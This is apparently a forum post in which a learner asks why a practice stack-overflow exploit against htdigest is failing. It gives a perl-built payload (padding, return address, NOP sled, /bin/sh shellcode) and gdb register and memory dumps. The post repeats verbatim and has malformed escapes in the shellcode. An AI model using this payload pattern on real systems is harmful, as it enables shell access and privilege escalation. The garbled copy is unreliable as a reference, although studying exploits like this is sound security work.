h3llfyr3
22-10-05, 14:04
Hi All,
my stack's going a bit wierd. I'm re-writing the htdigest exploit (http://seclists.org/lists/bugtraq/2005/May/0154.html)
as a practice. Anyway I do this
[root@localhost bin]# ./htdigest ./hohi `perl -e 'print "\x41"x286
.. "\xe9\xfb\xff\xbf" . "\x90"x30 .
"x31\xdb\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0 c\xb0\x0b\x8d\x4b
\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x 62\x69\x6e\x2f\x73
\x68"'` user
I get the following stack output
ecx 0x8050d28 134548776
edx 0x22d9 8921
ebx 0x41414141 1094795585
esp 0xbfffee50 0xbfffee50
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x41414141 0x41414141
eflags 0x10286 66182
cs 0x23 35
ss 0x2b 43
ds 0xc010002b -1072693205
es 0x2b 43
before on exactly the same buffer but without shellcode i had control of EIP, but when i added the shellcode i suddenly end up having EIP full of AAAA's , perhaps I jumped to the wrong address, but in the address i jumped
to i have a nopsled and all these 0xc2's which i don't think should be there.
Any ideas?
(gdb) x/bx 0xbffffbe9
0xbffffbe9: 0xc2
(gdb)
0xbffffbea: 0x90
(gdb)
0xbffffbeb: 0xc2
(gdb)
0xbffffbec: 0x90
(gdb)
0xbffffbed: 0xc2
my stack's going a bit wierd. I'm re-writing the htdigest exploit (http://seclists.org/lists/bugtraq/2005/May/0154.html)
as a practice. Anyway I do this
[root@localhost bin]# ./htdigest ./hohi `perl -e 'print "\x41"x286
.. "\xe9\xfb\xff\xbf" . "\x90"x30 .
"x31\xdb\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0 c\xb0\x0b\x8d\x4b
\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x 62\x69\x6e\x2f\x73
\x68"'` user
I get the following stack output
ecx 0x8050d28 134548776
edx 0x22d9 8921
ebx 0x41414141 1094795585
esp 0xbfffee50 0xbfffee50
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x41414141 0x41414141
eflags 0x10286 66182
cs 0x23 35
ss 0x2b 43
ds 0xc010002b -1072693205
es 0x2b 43
before on exactly the same buffer but without shellcode i had control of EIP, but when i added the shellcode i suddenly end up having EIP full of AAAA's , perhaps I jumped to the wrong address, but in the address i jumped
to i have a nopsled and all these 0xc2's which i don't think should be there.
Any ideas?
(gdb) x/bx 0xbffffbe9
0xbffffbe9: 0xc2
(gdb)
0xbffffbea: 0x90
(gdb)
0xbffffbeb: 0xc2
(gdb)
0xbffffbec: 0x90
(gdb)
0xbffffbed: 0xc2